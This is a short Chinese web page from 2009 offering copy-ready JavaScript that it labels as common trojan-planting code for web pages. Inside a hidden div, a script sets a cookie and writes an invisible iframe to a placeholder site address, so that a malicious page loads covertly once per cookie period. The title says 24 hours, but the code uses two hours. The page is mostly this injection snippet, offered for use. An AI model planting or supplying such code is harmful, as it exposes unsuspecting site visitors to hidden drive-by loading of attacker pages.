js cookies 常見網(wǎng)頁木馬掛馬代碼 24小時只加載一次
更新時間:2009年04月13日 10:13:15 作者:
js cookies 掛馬實現(xiàn)代碼。
復制代碼 代碼如下:
<div style='display:none'>
<script type="text/javascript">
function goad(){
var Then = new Date()
Then.setTime(Then.getTime() + 2*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookier1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookier1=Filter;expires="+ Then.toGMTString()
document.write('<iframe src="網(wǎng)站地址" width="50" height="0" frameborder="0"></iframe>');
}
}goad();
</script>
</div>
相關文章
仿百度聯(lián)盟對聯(lián)廣告實現(xiàn)代碼
仿百度聯(lián)盟對聯(lián)廣告源代碼展示,主要使用現(xiàn)代瀏覽器都支持的position:fixed屬性,并專門針對ie6做了最大限度的兼容性處理2014-08-08

